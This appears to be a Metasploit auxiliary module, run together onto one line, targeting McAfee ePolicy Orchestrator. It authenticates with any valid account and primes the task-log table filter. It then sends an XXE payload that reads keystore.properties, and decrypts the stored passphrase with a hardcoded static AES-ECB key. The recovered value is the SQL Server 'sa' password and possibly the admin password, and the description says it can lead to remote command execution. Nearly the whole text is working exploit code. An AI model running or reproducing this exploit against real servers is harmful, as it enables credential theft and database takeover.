This properties file contains an encrypted password that is set during installation. What is interesting about this password is that it is set as the same password as the database 'sa' user and of the admin user created during installation. This password is encrypted with a static key, and is encrypted using a weak cipher at that (ECB). By default, if installed with a local SQL Server instance, the SQL server is listening on all interfaces. Recovering this password allows an attacker to potentially authenticate as the 'sa' SQL Server user in order to achieve remote command execution with permissions of the database process. If the administrator has no changed the password for the initially created account since installation, the attacker also now has the password for this account. By default, 'admin' is recommended. Any user account can be used to exploit this, all that is needed is a pair of credentials. The most data that can be successfully retrieved is 255 characters due to length restrictions on the field used to perform the XXE attack. }, 'License' => MSF_LICENSE, 'Author' => [ 'Brandon Perry ', #metasploit module ], 'References' => [ ], 'DisclosureDate' => '' )) register_options( [ Opt::RPORT(8443), OptBool.new('SSL', [true, 'Use SSL', true]), OptString.new('TARGETURI', [ true, "Base ePO directory path", '/']), OptString.new('FILEPATH', [true, "The filepath to read on the server", "C:/Program Files (x86)/McAfee/ePolicy Orchestrator/Server/conf/orion/keystore.properties"]), OptString.new('USERNAME', [true, "The username to authenticate with", "username"]), OptString.new('PASSWORD', [true, "The password to authenticate with", "password"]) ], self.class) end def run key = "\x5E\x9C\x3E\xDF\xE6\x25\x84\x36\x66\x21\x93\x80\x31\x5A\x29\x33" #static key used aes = OpenSSL::Cipher::Cipher.new('AES-128-ECB') # ecb, bad bad tsk aes.decrypt aes.padding=1 aes.key = key res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'core', 'orionSplashScreen.do') }) cookie = res.get_cookies res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'core', 'j_security_check'), 'method' => 'POST', 'vars_post' => { 'j_username' => datastore['USERNAME'], 'j_password' => datastore['PASSWORD'] }, 'cookie' => cookie }) cookie = res.get_cookies res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'core', 'orionSplashScreen.do'), 'cookie' => cookie }) if res.code != 302 fail_with(Failure::Unknown, 'Authentication failed') end cookie = res.get_cookies #This vuln requires a bit of setup before we can exploit it print_status("Setting up some things...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'core', 'orionNavigationLogin.do'), 'cookie' => cookie }) auth_token = $1 if res.body =~ /id="orion.user.security.token" value="(.*)"\/>/ res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'core', 'orionTab.do'), 'vars_get' => { 'sectionId' => 'orion.automation', 'tabId' => 'orion.tasklog', 'orion.user.security.token' => auth_token }, 'cookie' => cookie }) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'core', 'loadTableData.do'), 'vars_get' => { 'datasourceAttr' => 'scheduler.tasklog.datasource.attr', 'filter' => 'scheduler.tasklog.filter.day', 'secondaryFilter' => '', 'tableCellRendererAttr' => 'taskLogCellRenderer', 'count' => 44, 'sortProperty' => 'OrionTaskLogTask.StartDate', 'sortOrder' => 1, 'id' => 'taskLogTable' }, 'cookie' => cookie }) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'core', 'orionEditTableFilter.do'), 'vars_get' => { 'datasourceAttr' => 'scheduler.tasklog.datasource.attr', 'tableId' => 'taskLogTable', 'orion.user.security.token' => auth_token }, 'cookie' => cookie }) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'core', 'orionTableUpdateState.do'), 'method' => 'POST', 'vars_post' => { 'dataSourceAttr' => 'scheduler.tasklog.datasource.attr', 'tableId' => 'taskLogTable', 'columnWidths' => '285,285,285,285,285,285,285,285', 'sortColumn' => 'OrionTaskLogTask.StartDate', 'sortOrder' => '1', 'showFilters' => 'true', 'currentIndex' => 0, 'orion.user.security.token' => auth_token, 'ajaxMode' => 'standard' }, 'cookie' => cookie }) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'core', 'loadDisplayType.do'), 'method' => 'POST', 'vars_post' => { 'displayType' => 'text_lookup', 'operator' => 'eq', 'propKey' => 'OrionTaskLogTask.Name', 'instanceId' => 0, 'orion.user.security.token' => auth_token, 'ajaxMode' => 'standard' }, 'cookie' => cookie }) print_status("Sending payload...") xxe = ']>OrionTaskLogTaskMessage.Messageeq&xxe;' res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'core', 'orionUpdateTableFilter.do'), 'method' => 'POST', 'vars_post' => { 'orion.user.security.token' => auth_token, 'datasourceAttr' => 'scheduler.tasklog.datasource.attr', 'tableId' => 'taskLogTable', 'conditionXML' => xxe, 'secondaryFilter' => '', 'op' => 'eq', 'ajaxMode' => 'standard' }, 'cookie' => cookie }) print_status("Getting encrypted passphrase value from keystore.properties file...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'core', 'orionEditTableFilter.do'), 'vars_get' => { 'datasourceAttr' => 'scheduler.tasklog.datasource.attr', 'tableId' => 'taskLogTable', 'orion.user.security.token' => auth_token }, 'cookie' => cookie }) passphrase = $1 if res.body =~ /passphrase=(.*?)\\u003/ passphrase = passphrase.gsub('\\\\=', '=').gsub("\\u002f", "/").gsub("\\u002b", "+") print_status("Base64 encoded encrypted passphrase: " + passphrase) passphrase = aes.update(Rex::Text.decode_base64(passphrase)) + aes.final print_good("The decrypted password for the keystore, 'sa' SQL user (if using local instance), and possibly 'admin' is: " + passphrase) end end # Iranian Exploit DataBase = http://IeDb.Ir [2015-01-08]
